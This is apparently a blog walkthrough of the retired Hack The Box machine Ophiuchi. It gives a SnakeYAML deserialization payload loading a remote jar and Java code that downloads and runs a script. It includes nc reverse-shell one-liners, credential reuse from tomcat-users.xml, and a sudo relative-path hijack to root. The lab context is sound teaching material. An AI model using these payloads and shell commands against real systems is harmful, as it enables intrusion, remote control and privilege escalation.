Hello guys!
This week’s machine will be Ophiuchi, another medium-rated box from Hack The Box, created by felamos.
Info
Write-ups for Hack The Box machines are posted as soon as they’re retired.
Recently I have been starting the recon of HTB boxes by searching a little about their names, as it or their images can give some cues on how to pwn them.
Searching define ophiuchi in Google I was redirected to `define Ophiuchus, which is commonly represented as a man grasping a snake, what makes sense once we have a picture of a planet, astronaut, and some stars, but we’ll see that isn’t only that! :smiley:
Enumeration
Starting the enumeration, as usual, running a quick nmap scan to find the published services.
$ nmap -sC -sV -Pn -oA quick 10.10.10.227Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 17:32 -03Nmap scan report for 10.10.10.227Host is up (0.077s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)8080/tcp open http Apache Tomcat 9.0.38|_http-title: Parse YAMLService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds8080/TCP - Tomcat
Accessing the Tomcat page at http://10.10.10.227:8080 we see a YAML parser website, as below:

Sending a simple payload (teste: true), the following message is returned:
Due to security reasons this feature has been temporarily on hold. We will soon fix the issue!
Once Tomcat is a Java web server, and, based on the message returned, searched about java yaml rce vulnerability where I’ve found a Medium post talking about a vuln called SnakeYAML, which had a PoC like the website we have. Also, as snake have some references to the constellation from which this box was named, proves we’re on the right path :smile:.
Following the suggestion in the post, started a simple http server using python (sudo python3 -m http.server 80) and sent the following payload:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.10.10/"] ]]]Just like the PoC in the blog post, the server searches for a file in /META-INF/services/javax.script.ScriptEngineFactory should provide a java class to be executed, which was confirmed based on the logs below.
$ sudo python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.10.10.227 - - [28/Feb/2021 12:19:22] code 404, message File not found10.10.10.227 - - [28/Feb/2021 12:19:22] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -Initial access
To gain initial access to this machine, used the project referenced in the blog post found (artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads).
git clone https://github.com/artsploit/yaml-payload.gitAs recommended, we’ll add our payload in the class named AwesomeScriptEngineFactory.java compile it and invoke it from the payload sent in the form.
First I have tried to use payload rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f directly in the class yaml-payload\src\artsploit\AwesomeScriptEngineFactory.java but as it uses some redirects and pipelines (> e |) noticed that the best approach would host a payload file in the webserver, download it and run from the victim machine, as the edit below:
public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("wget http://10.10.10.10/payload -O /tmp/exploit.sh"); Runtime.getRuntime().exec("chmod a+x /tmp/exploit.sh"); Runtime.getRuntime().exec("bash /tmp/exploit.sh"); } catch (IOException e) { e.printStackTrace(); } }After modified, compiled the class and copied to the path where it was being called from:
javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ .After that, as well as copying the payload file to be executed, sent the payload below on the webpage
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.10.10/yaml-payload.jar"] ]]]And voilá! We got a reverse shell in the box! :smile:
bash-5.0$ hostname && idophiuchiuid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)bash-5.0$User flag
Started the enumeration, as usual, using linpeas.sh, where I could identify the following points:
- Tomcat service running with its specific account, allowing us to read the app files and logs
- Enumerating the users in this box, found admin, the only one with console access (besides root).
With this information, verified the creds for Tomcat from /opt/tomcat/conf/tomcat-users.xml file, where the password whythereisalimit was found.
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>Testing it for the user admin, we have confirmed that it was valid.

Once we have a Linux user with the same name admin, once tried to reuse the same creds using ssh, I was successful in logging in, obtaining the user’s flag.
Last login: Sun Apr 18 01:22:24 2021 from 10.10.10.10-bash-5.0$ hostname && idophiuchiuid=1000(admin) gid=1000(admin) groups=1000(admin)-bash-5.0$ cat user.txt<redacted>-bash-5.0$Root flag
Besides always give linpeas.sh another try, once we have the password for the user I like to check if the user can run anything with root privileges, where in this case we were lucky and got the following output:
-bash-5.0$ sudo -lMatching Defaults entries for admin on ophiuchi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.goInspecting the file /opt/wasm-functions/index.go we have the following content:
package main
import ( "fmt" wasm "github.com/wasmerio/wasmer-go/wasmer" "os/exec" "log")
func main() { bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info"] result,_ := init() f := result.String() if (f != "1") { fmt.Println("Not ready to deploy") } else { fmt.Println("Ready to deploy") out, err := exec.Command("/bin/sh", "deploy.sh").Output() if err != nil { log.Fatal(err) } fmt.Println(string(out)) }}As we can see, this is a Go Lang script that loads its variables from main.wasm and, if the value f under property info is equal to 1, the file deploy.sh is executed.
As both files (main.wasm e deploy.sh) execute from a relative path, they are vulnerable to path hijacking, which we’ll try now.
The initial step is to create both files and start them from a directory we have to write permissions, in this case, /dev/shm.
mkdir /dev/shm/zurccd /dev/shm/zurcdeploy.sh
Creating this file is easy. At first, I’ll just place an id command to be sure we have succeeded with the permission abuse.
#!/bin/bash
idOnce confirmed, we’ll replace this file contents with the reverse shell command line below
#!/bin/bash
rm /tmp/zurc;mkfifo /tmp/zurc;cat /tmp/zurc|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/zurcmain.wasm
This item is a little more complex to craft as when I first opened it in the editor, noticed that was something compiled and not plain text.
Searching a little on how to modify a wasm file, found this blog post on Mozilla developers on how to convert a WebAssembly Text to WASM, which also refers to the repo WebAssembly/wabt: The WebAssembly Binary Toolkit no GitHub.
The following steps were used to inspect and modify the main.wasm file:
- Locate the file in the victim machine and make a copy using
scp
# Ophiuchiadmin@ophiuchi:~$ find / -type f 2> /dev/null | grep main.wasm/opt/wasm-functions/main.wasm/opt/wasm-functions/backup/main.wasm# Attacker Machine$ cd ./loot$ scp admin@10.10.10.227:/opt/wasm-functions/main.wasm .- Downloaded the compiled
wabtversion to my working directory and extracted it
wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gztar -xzvf wabt-1.0.23-ubuntu.tar.gz- Using the recently downloaded tool, converted the
main.wasmtomain.wat, where we got the following content
$ wabt-1.0.23/bin/wasm2wat main.wasm -o main.wat$ cat main.wat(module (type (;0;) (func (result i32))) (func $info (type 0) (result i32) i32.const 0) (table (;0;) 1 1 funcref) (memory (;0;) 16) (global (;0;) (mut i32) (i32.const 1048576)) (global (;1;) i32 (i32.const 1048576)) (global (;2;) i32 (i32.const 1048576)) (export "memory" (memory 0)) (export "info" (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2)))- Once we need to return
f == 1, which is a property ofinfo, we needed to change the linei32.const 0toi32.const 1at line 4. - After changing it, compiled the file again to
main.wasmand transferred it to the victim machine as below
wabt-1.0.23/bin/wat2wasm main.wat -o main.wasmscp main.wasm admin@10.10.10.227:/dev/shm/zurc- In a second attempt, we had success on running the crafted deploy.sh as root :smiley:
admin@ophiuchi:/dev/shm/zurc$ sudo /usr/bin/go run /opt/wasm-functions/index.goReady to deployuid=0(root) gid=0(root) groups=0(root)- After that, modified the file to the previously shared reverse shell command line, obtained interactive access as root, and was able to get its flag.
$ nc -lnvp 4443listening on [any] 4443 ...connect to [10.10.10.10] from (UNKNOWN) [10.10.10.227] 50068# hostname && idophiuchiuid=0(root) gid=0(root) groups=0(root)# cat /root/root.txt<redacted>I hope you have enjoyed it!
See you in the next post :smile: